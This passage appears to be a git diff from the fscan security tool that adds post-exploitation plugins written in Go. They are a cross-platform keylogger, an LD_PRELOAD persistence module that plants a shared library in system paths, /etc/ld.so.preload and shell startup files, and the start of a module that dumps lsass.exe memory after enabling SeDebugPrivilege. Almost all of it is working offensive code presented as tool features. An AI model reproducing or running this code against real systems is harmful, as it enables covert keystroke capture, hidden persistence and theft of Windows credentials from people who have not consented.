|
||||
|
||||
// KeyloggerPlugin 键盘记录插件 - 使用简化架构
|
||||
type KeyloggerPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
outputFile string
|
||||
isRunning bool
|
||||
stopChan chan struct{}
|
||||
keyBuffer []string
|
||||
bufferMutex sync.RWMutex
|
||||
}
|
||||
|
||||
// NewKeyloggerPlugin 创建键盘记录插件 - 简化版本
|
||||
func NewKeyloggerPlugin() *KeyloggerPlugin {
|
||||
// 从全局参数获取配置
|
||||
outputFile := common.KeyloggerOutputFile
|
||||
if outputFile == "" {
|
||||
outputFile = "keylog.txt" // 默认输出文件
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "keylogger",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "keylogger", "monitoring", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &KeyloggerPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
outputFile: outputFile,
|
||||
stopChan: make(chan struct{}),
|
||||
keyBuffer: make([]string, 0),
|
||||
}
|
||||
|
||||
// 支持所有主要平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 需要管理员权限访问键盘输入
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *KeyloggerPlugin) Initialize() error {
|
||||
common.LogInfo(fmt.Sprintf("初始化键盘记录插件 - 平台: %s", runtime.GOOS))
|
||||
|
||||
// 检查输出文件路径权限
|
||||
if err := p.checkOutputFilePermissions(); err != nil {
|
||||
return fmt.Errorf("输出文件权限检查失败: %v", err)
|
||||
}
|
||||
|
||||
// 检查平台特定的权限和依赖
|
||||
if err := p.checkPlatformRequirements(); err != nil {
|
||||
return fmt.Errorf("平台要求检查失败: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行键盘记录 - 简化版本
|
||||
func (p *KeyloggerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始键盘记录...")
|
||||
|
||||
// 启动键盘记录
|
||||
err := p.startKeylogging(ctx)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "Keylogger",
|
||||
Banner: fmt.Sprintf("键盘记录已完成 - 输出文件: %s 平台: %s", p.outputFile, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"output_file": p.outputFile,
|
||||
"platform": runtime.GOOS,
|
||||
"keys_captured": len(p.keyBuffer),
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// startKeylogging 启动键盘记录
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
|
||||
p.isRunning = true
|
||||
defer func() {
|
||||
p.isRunning = false
|
||||
}()
|
||||
|
||||
common.LogInfo(fmt.Sprintf("开始键盘记录,输出文件: %s", p.outputFile))
|
||||
|
||||
// 根据平台启动相应的键盘记录
|
||||
var err error
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
err = p.startWindowsKeylogging(ctx)
|
||||
case "linux":
|
||||
err = p.startLinuxKeylogging(ctx)
|
||||
case "darwin":
|
||||
err = p.startDarwinKeylogging(ctx)
|
||||
default:
|
||||
err = fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("键盘记录失败: %v", err)
|
||||
}
|
||||
|
||||
// Windows平台已经实时写入文件,其他平台保存到文件
|
||||
if runtime.GOOS != "windows" {
|
||||
if err := p.saveKeysToFile(); err != nil {
|
||||
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
|
||||
}
|
||||
} else {
|
||||
common.LogInfo("Windows平台已实时写入文件,无需再次保存")
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkOutputFilePermissions 检查输出文件权限
|
||||
func (p *KeyloggerPlugin) checkOutputFilePermissions() error {
|
||||
// 尝试创建或打开输出文件
|
||||
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
|
||||
}
|
||||
file.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkPlatformRequirements 检查平台特定要求
|
||||
func (p *KeyloggerPlugin) checkPlatformRequirements() error {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return p.checkWindowsRequirements()
|
||||
case "linux":
|
||||
return p.checkLinuxRequirements()
|
||||
case "darwin":
|
||||
return p.checkDarwinRequirements()
|
||||
default:
|
||||
return fmt.Errorf("不支持的平台: %s", runtime.GOOS)
|
||||
}
|
||||
}
|
||||
|
||||
// addKeyToBuffer 添加按键到缓冲区
|
||||
func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
|
||||
p.bufferMutex.Lock()
|
||||
defer p.bufferMutex.Unlock()
|
||||
|
||||
timestamp := time.Now().Format("2006-01-02 15:04:05")
|
||||
entry := fmt.Sprintf("[%s] %s", timestamp, key)
|
||||
p.keyBuffer = append(p.keyBuffer, entry)
|
||||
}
|
||||
|
||||
// saveKeysToFile 保存键盘记录到文件
|
||||
func (p *KeyloggerPlugin) saveKeysToFile() error {
|
||||
p.bufferMutex.RLock()
|
||||
defer p.bufferMutex.RUnlock()
|
||||
|
||||
if len(p.keyBuffer) == 0 {
|
||||
common.LogInfo("没有捕获到键盘输入")
|
||||
return nil
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法打开输出文件: %v", err)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// 写入头部信息
|
||||
header := fmt.Sprintf("=== 键盘记录日志 ===\n")
|
||||
header += fmt.Sprintf("开始时间: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
header += fmt.Sprintf("平台: %s\n", runtime.GOOS)
|
||||
header += fmt.Sprintf("捕获事件数: %d\n", len(p.keyBuffer))
|
||||
header += fmt.Sprintf("========================\n\n")
|
||||
|
||||
if _, err := file.WriteString(header); err != nil {
|
||||
return fmt.Errorf("写入头部信息失败: %v", err)
|
||||
}
|
||||
|
||||
// 写入键盘记录
|
||||
for _, entry := range p.keyBuffer {
|
||||
if _, err := file.WriteString(entry + "\n"); err != nil {
|
||||
return fmt.Errorf("写入键盘记录失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取键盘记录本地数据
|
||||
func (p *KeyloggerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "keylogger"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["output_file"] = p.outputFile
|
||||
data["keys_captured"] = len(p.keyBuffer)
|
||||
data["is_running"] = p.isRunning
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *KeyloggerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件,保存到: %s", len(p.keyBuffer), p.outputFile),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"output_file": p.outputFile,
|
||||
"keys_captured": len(p.keyBuffer),
|
||||
"platform": runtime.GOOS,
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *KeyloggerPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("跨平台键盘记录插件\n")
|
||||
info.WriteString(fmt.Sprintf("输出文件: %s\n", p.outputFile))
|
||||
info.WriteString("记录模式: 持续记录直到程序结束\n")
|
||||
info.WriteString("支持平台: Windows, Linux, macOS\n")
|
||||
info.WriteString("功能: 捕获和记录键盘输入事件\n")
|
||||
info.WriteString("要求: 管理员权限,平台特定的输入访问权限\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterKeyloggerPlugin 注册键盘记录插件
|
||||
func RegisterKeyloggerPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "keylogger",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台键盘记录插件,支持Windows、Linux和macOS系统的键盘输入捕获",
|
||||
Category: "local",
|
||||
Tags: []string{"keylogger", "local", "monitoring", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewKeyloggerPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("keylogger", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterKeyloggerPlugin()
|
||||
}
|
388
Plugins/local/ldpreload/plugin.go
Normal file
388
Plugins/local/ldpreload/plugin.go
Normal file
@ -0,0 +1,388 @@
|
||||
package ldpreload
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// LDPreloadPlugin LD_PRELOAD持久化插件 - 使用简化架构
|
||||
type LDPreloadPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
targetFile string
|
||||
}
|
||||
|
||||
// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 - 简化版本
|
||||
func NewLDPreloadPlugin() *LDPreloadPlugin {
|
||||
// 从全局参数获取目标文件路径
|
||||
targetFile := common.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
targetFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "ldpreload",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux LD_PRELOAD持久化插件,通过动态库预加载实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "linux", "ldpreload"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &LDPreloadPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFile: targetFile,
|
||||
}
|
||||
|
||||
// 只支持Linux平台
|
||||
plugin.SetPlatformSupport([]string{"linux"})
|
||||
// 需要写入系统配置文件的权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *LDPreloadPlugin) Initialize() error {
|
||||
if p.targetFile == "" {
|
||||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidFile(p.targetFile) {
|
||||
return fmt.Errorf("目标文件必须是 .so 动态库文件: %s", p.targetFile)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行LD_PRELOAD持久化 - 简化版本
|
||||
func (p *LDPreloadPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
if runtime.GOOS != "linux" {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("LD_PRELOAD持久化只支持Linux平台"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogBase("开始LD_PRELOAD持久化...")
|
||||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||||
|
||||
// 执行持久化操作
|
||||
results := make([]string, 0)
|
||||
|
||||
// 1. 复制文件到系统目录
|
||||
systemPath, err := p.copyToSystemPath()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("复制文件到系统目录失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath))
|
||||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", systemPath))
|
||||
}
|
||||
|
||||
// 2. 添加到全局环境变量
|
||||
err = p.addToEnvironment(systemPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加环境变量失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已添加到 /etc/environment")
|
||||
common.LogSuccess("已添加到全局环境变量")
|
||||
}
|
||||
|
||||
// 3. 添加到shell配置文件
|
||||
shellConfigs, err := p.addToShellConfigs(systemPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("添加到shell配置失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", ")))
|
||||
common.LogSuccess("已添加到shell配置文件")
|
||||
}
|
||||
|
||||
// 4. 创建库配置文件
|
||||
err = p.createLdConfig(systemPath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("创建ld配置失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已创建 /etc/ld.so.preload 配置")
|
||||
common.LogSuccess("已创建ld预加载配置")
|
||||
}
|
||||
|
||||
success := len(results) > 0
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: success,
|
||||
Service: "LDPreloadPersistence",
|
||||
Banner: fmt.Sprintf("LD_PRELOAD持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"platform": runtime.GOOS,
|
||||
"methods": results,
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// copyToSystemPath 复制文件到系统目录
|
||||
func (p *LDPreloadPlugin) copyToSystemPath() (string, error) {
|
||||
// 选择合适的系统目录
|
||||
systemDirs := []string{
|
||||
"/usr/lib/x86_64-linux-gnu",
|
||||
"/usr/lib64",
|
||||
"/usr/lib",
|
||||
"/lib/x86_64-linux-gnu",
|
||||
"/lib64",
|
||||
"/lib",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range systemDirs {
|
||||
if _, err := os.Stat(dir); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("找不到合适的系统库目录")
|
||||
}
|
||||
|
||||
// 生成目标路径
|
||||
basename := filepath.Base(p.targetFile)
|
||||
if !strings.HasPrefix(basename, "lib") {
|
||||
basename = "lib" + basename
|
||||
}
|
||||
if !strings.HasSuffix(basename, ".so") {
|
||||
basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, basename)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(p.targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置权限
|
||||
os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件
|
||||
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
|
||||
cmd := exec.Command("cp", src, dst)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addToEnvironment 添加到全局环境变量
|
||||
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
|
||||
envFile := "/etc/environment"
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(envFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
|
||||
if strings.Contains(content, libPath) {
|
||||
return nil // 已存在
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += ldPreloadLine + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(envFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// addToShellConfigs 添加到shell配置文件
|
||||
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
|
||||
configFiles := []string{
|
||||
"/etc/bash.bashrc",
|
||||
"/etc/profile",
|
||||
"/etc/zsh/zshrc",
|
||||
}
|
||||
|
||||
ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
|
||||
var modified []string
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
if _, err := os.Stat(configFile); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, libPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += ldPreloadLine + "\n"
|
||||
|
||||
// 写入文件
|
||||
if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何shell配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// createLdConfig 创建ld预加载配置
|
||||
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
|
||||
configFile := "/etc/ld.so.preload"
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, libPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += libPath + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(configFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// isValidFile 检查文件类型
|
||||
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
|
||||
// 检查扩展名
|
||||
if ext == ".so" || ext == ".elf" {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查文件内容(ELF魔数)
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
header := make([]byte, 4)
|
||||
if n, err := file.Read(header); err != nil || n < 4 {
|
||||
return false
|
||||
}
|
||||
|
||||
// ELF魔数: 0x7f 0x45 0x4c 0x46
|
||||
return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
|
||||
}
|
||||
|
||||
// GetLocalData 获取LD_PRELOAD持久化本地数据
|
||||
func (p *LDPreloadPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "ldpreload"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["target_file"] = p.targetFile
|
||||
data["persistence_method"] = "LD_PRELOAD"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *LDPreloadPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("LD_PRELOAD持久化完成,目标文件: %s", p.targetFile),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"persistence_method": "LD_PRELOAD",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *LDPreloadPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("LD_PRELOAD持久化插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||||
info.WriteString("支持平台: Linux\n")
|
||||
info.WriteString("功能: 通过LD_PRELOAD机制实现动态库预加载持久化\n")
|
||||
info.WriteString("方法: 环境变量、shell配置、ld.so.preload配置\n")
|
||||
info.WriteString("要求: 目标文件必须是.so动态库或ELF文件\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterLDPreloadPlugin 注册LD_PRELOAD持久化插件
|
||||
func RegisterLDPreloadPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "ldpreload",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux LD_PRELOAD持久化插件,通过动态库预加载实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"ldpreload", "local", "persistence", "linux"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewLDPreloadPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("ldpreload", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterLDPreloadPlugin()
|
||||
}
|
619
Plugins/local/minidump/plugin.go
Normal file
619
Plugins/local/minidump/plugin.go
Normal file
@ -0,0 +1,619 @@
|
||||
//go:build windows
|
||||
|
||||
package minidump
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// MiniDumpPlugin 内存转储插件 - 使用简化架构
|
||||
type MiniDumpPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// ProcessManager Windows进程管理器
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
|
||||
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows进程内存转储插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &MiniDumpPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
}
|
||||
|
||||
// 仅支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *MiniDumpPlugin) Initialize() error {
|
||||
// 先调用基类初始化
|
||||
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 加载系统DLL
|
||||
return p.loadSystemDLLs()
|
||||
}
|
||||
|
||||
// loadSystemDLLs 加载系统DLL
|
||||
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
||||
common.LogDebug("开始加载系统DLL...")
|
||||
|
||||
// 加载系统DLL - 添加错误处理
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
|
||||
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("kernel32.dll 加载成功")
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
|
||||
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("Dbghelp.dll 加载成功")
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
|
||||
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("advapi32.dll 加载成功")
|
||||
|
||||
p.kernel32 = kernel32
|
||||
p.dbghelp = dbghelp
|
||||
p.advapi32 = advapi32
|
||||
|
||||
common.LogSuccess("所有DLL加载完成")
|
||||
return nil
|
||||
}
|
||||
|
||||
// ScanLocal 执行内存转储扫描 - 简化版本
|
||||
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
|
||||
}
|
||||
}()
|
||||
|
||||
common.LogInfo("开始进程内存转储...")
|
||||
|
||||
// 检查管理员权限
|
||||
if !p.isAdmin() {
|
||||
common.LogError("需要管理员权限才能执行内存转储")
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: errors.New("需要管理员权限才能执行内存转储"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogSuccess("已确认具有管理员权限")
|
||||
|
||||
// 创建进程管理器
|
||||
common.LogDebug("正在创建进程管理器...")
|
||||
pm := &ProcessManager{
|
||||
kernel32: p.kernel32,
|
||||
dbghelp: p.dbghelp,
|
||||
advapi32: p.advapi32,
|
||||
}
|
||||
common.LogSuccess("进程管理器创建成功")
|
||||
|
||||
// 查找lsass.exe进程
|
||||
common.LogDebug("正在查找lsass.exe进程...")
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
|
||||
|
||||
// 提升权限
|
||||
common.LogDebug("正在提升SeDebugPrivilege权限...")
|
||||
if err := pm.elevatePrivileges(); err != nil {
|
||||
